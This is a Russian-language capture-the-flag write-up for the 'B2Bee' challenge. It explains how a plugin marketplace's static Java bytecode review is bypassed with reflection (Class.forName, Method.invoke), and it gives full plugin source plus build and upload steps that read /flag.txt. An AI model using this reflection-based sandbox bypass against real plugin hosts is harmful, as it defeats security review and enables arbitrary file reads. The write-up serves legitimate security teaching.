July 27

Writeup - B2Bee

Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.
Перед запуском каждый JAR проходит два этапа:

  1. статическое ревью байткода;
  2. исполнение в отдельной карантинной среде.

Цель задания — обойти проверку плагина и прочитать файл:

/flag.txt

Инстанс задания:

http://marketplugins-s6r1nilb.avitoctf.ru/

Изучение интерфейса

На странице загрузки доступны два параметра:

  • JAR-файл партнёра;
  • полное имя главного класса.

Также можно скачать архив с примером легитимного плагина.
После распаковки примера выясняется, что основной класс должен реализовывать интерфейс:

DiscountPlugin

Метод плагина имеет следующий контракт:

PluginResult apply(PluginContext context)

Пример использует класс:

example.SeasonalDiscountPlugin

Следовательно, при загрузке собственного JAR в поле «Главный класс» необходимо указывать полное имя класса вместе с пакетом:

example.SeasonalDiscountPlugin

Анализ статического ревью

Из предоставленных исходников видно, что проверка выполняется на уровне Java-байткода с помощью ASM.
Ревью-пчела анализирует:

  • вызовы методов;
  • обращения к полям;
  • создаваемые объекты;
  • типы в инструкциях;
  • некоторые элементы constant pool;
  • дескрипторы методов;
  • Handle;
  • ConstantDynamic.

Опасные классы и пакеты блокируются политикой песочницы.
Например, прямое использование файлового API было бы обнаружено:

Files.readString(Path.of("/flag.txt"));

В байткоде такого класса появились бы ссылки на:

java/nio/file/Files
java/nio/file/Path

Эти классы не разрешены политикой, поэтому такой JAR был бы отклонён на этапе ревью.

Ошибка в модели проверки

Статический анализатор контролирует владельцев вызываемых методов и используемые типы, но не считает обычные строковые константы именами классов.
То есть строка:

"java.nio.file.Files"

не воспринимается как ссылка на запрещённый класс.
При этом политика разрешает классы из пространства:

java/lang

В него входят:

java/lang/Class
java/lang/reflect/Method
java/lang/Object
java/lang/String

Это позволяет динамически загрузить запрещённые классы через Reflection:

Class.forName("java.nio.file.Files");

В байткоде вызов принадлежит разрешённому классу:

java/lang/Class.forName

А имя запрещённого класса находится только в обычной строке.
Аналогичным способом можно получить методы класса Files и вызвать их через:

java.lang.reflect.Method.invoke

В результате статический анализатор видит только разрешённые Reflection API, хотя во время исполнения плагин получает доступ к файловой системе.

Построение полезной нагрузки

Для чтения /flag.txt требуется динамически получить два класса:

java.nio.file.Path
java.nio.file.Files

Сначала загружаем их через Class.forName:

Class<?> pathClass =
        Class.forName("java.nio.file.Path");

Class<?> filesClass =
        Class.forName("java.nio.file.Files");

Затем получаем статический метод Path.of:

Method pathOf = pathClass.getMethod(
        "of",
        String.class,
        String[].class
);

Метод имеет сигнатуру:

Path.of(String first, String... more)

Так как varargs компилируется в массив, при рефлексивном вызове передаём путь и пустой массив строк:

Object path = pathOf.invoke(
        null,
        "/flag.txt",
        new String[0]
);

После этого получаем метод Files.readString:

Method readString = filesClass.getMethod(
        "readString",
        pathClass
);

И вызываем его:

String flag = (String) readString.invoke(
        null,
        path
);

Полученное содержимое файла можно вернуть через поле сообщения объекта PluginResult.

Код плагина

Класс должен иметь то же имя, которое указывается в веб-интерфейсе:

example.SeasonalDiscountPlugin

Код полезной нагрузки:

package example;

import java.lang.reflect.Method;

public class SeasonalDiscountPlugin implements DiscountPlugin {

    @Override
    public PluginResult apply(PluginContext context) {
        try {
            Class<?> pathClass =
                    Class.forName("java.nio.file.Path");

            Class<?> filesClass =
                    Class.forName("java.nio.file.Files");

            Method pathOf = pathClass.getMethod(
                    "of",
                    String.class,
                    String[].class
            );

            Object path = pathOf.invoke(
                    null,
                    "/flag.txt",
                    new String[0]
            );

            Method readString = filesClass.getMethod(
                    "readString",
                    pathClass
            );

            String flag = (String) readString.invoke(
                    null,
                    path
            );

            return new PluginResult(
                    0,
                    0,
                    flag
            );
        } catch (Throwable error) {
            return new PluginResult(
                    0,
                    0,
                    error.getClass().getName()
                            + ": "
                            + error.getMessage()
            );
        }
    }
}

Названия и конструктор PluginResult необходимо брать из примера, предоставленного сервисом.
В данном случае результат создаётся следующим образом:

new PluginResult(0, 0, flag)

Флаг попадает в текстовое сообщение результата расчёта.

Почему плагин проходит ревью?

В исходном коде присутствуют названия запрещённых классов:

"java.nio.file.Path"
"java.nio.file.Files"

Однако после компиляции они остаются обычными строками в constant pool.
Статический анализатор не сопоставляет содержимое строк с запрещёнными пакетами.
Вызовы методов принадлежат разрешённым классам:

java/lang/Class
java/lang/reflect/Method
java/lang/String
java/lang/Object

Например:

java/lang/Class.forName
java/lang/Class.getMethod
java/lang/reflect/Method.invoke

Поэтому ревью не видит прямого обращения к:

java/nio/file/Files
java/nio/file/Path

Доступ к ним возникает только динамически во время исполнения в карантинной соте.

Сборка JAR


Структура проекта:

src/
└── example/
    └── SeasonalDiscountPlugin.java

Для компиляции необходимо добавить классы API из архива-примера в classpath.
Пример команды:

javac \
  -cp plugin-api.jar \
  -d build \
  src/example/SeasonalDiscountPlugin.java

Создание JAR:

jar cf honeybadger-plugin.jar -C build .

Проверить наличие класса можно командой:

jar tf honeybadger-plugin.jar

Ожидаемый результат:

META-INF/
META-INF/MANIFEST.MF
example/
example/SeasonalDiscountPlugin.class

Загрузка в B2Bee


В веб-интерфейсе указываем:

JAR-файл:
honeybadger-plugin.jar

Главный класс:
example.SeasonalDiscountPlugin

Затем нажимаем:

Передать свой JAR на ревью

Плагин проходит статическую проверку и отправляется в карантинную среду.
После запуска вызывается метод:

apply(PluginContext context)

Он читает /flag.txt и возвращает его содержимое в сообщении PluginResult.
Флаг отображается на странице в результате расчёта скидки и бонусов.

Ошибка при первой попытке

В первой версии JAR основной класс назывался:

example.HoneyBadgerPlugin

Но в поле веб-интерфейса было указано:

example.SeasonalDiscountPlugin

Ревью JAR прошло успешно, поскольку сам байткод соответствовал политике. Однако карантин вернул:

Код ревью: plugin-failed
Плагин завершился с ошибкой

Причина заключалась не в Reflection и не в файловом доступе. Исполняющая среда не смогла найти указанный главный класс.
После переименования класса в:

example.SeasonalDiscountPlugin

и повторной сборки JAR плагин успешно запустился.
Это важный момент: поле «Главный класс» должно точно совпадать с полным именем класса внутри архива, включая регистр символов и Java-пакет.


Ложный путь


В исходниках анализатора присутствовала скрытая последовательность Unicode Variation Selectors.
После декодирования она содержала ссылку:

https://marketdone-9kol67m0.avitoctf.ru/

Однако эта ссылка являлась ложным путём и не приводила к решению задания.
Реальное решение требовало:
изучить контракт плагина;
проанализировать правила проверки байткода;
обнаружить разрешённый Reflection API;
динамически загрузить запрещённые файловые классы;
прочитать /flag.txt внутри карантинной среды.

Итог


Для решения задания был использован обход статического анализатора Java-байткода через Reflection.
Прямое использование файловых классов блокировалось:

Files.readString(Path.of("/flag.txt"));

Но запрещённые классы удалось получить динамически:

Class.forName("java.nio.file.Files");
Class.forName("java.nio.file.Path");

Так как обычные строковые константы не анализировались, а Class и Method относились к разрешённому пространству java/lang, JAR успешно прошёл ревью.
После запуска в карантинной соте плагин:
загрузил Path и Files;
создал объект пути /flag.txt;
вызвал Files.readString;
вернул содержимое файла в PluginResult;
вывел флаг в интерфейсе B2Bee.
Класс уязвимости:

Incomplete static bytecode validation
Reflection-based sandbox bypass
Arbitrary file read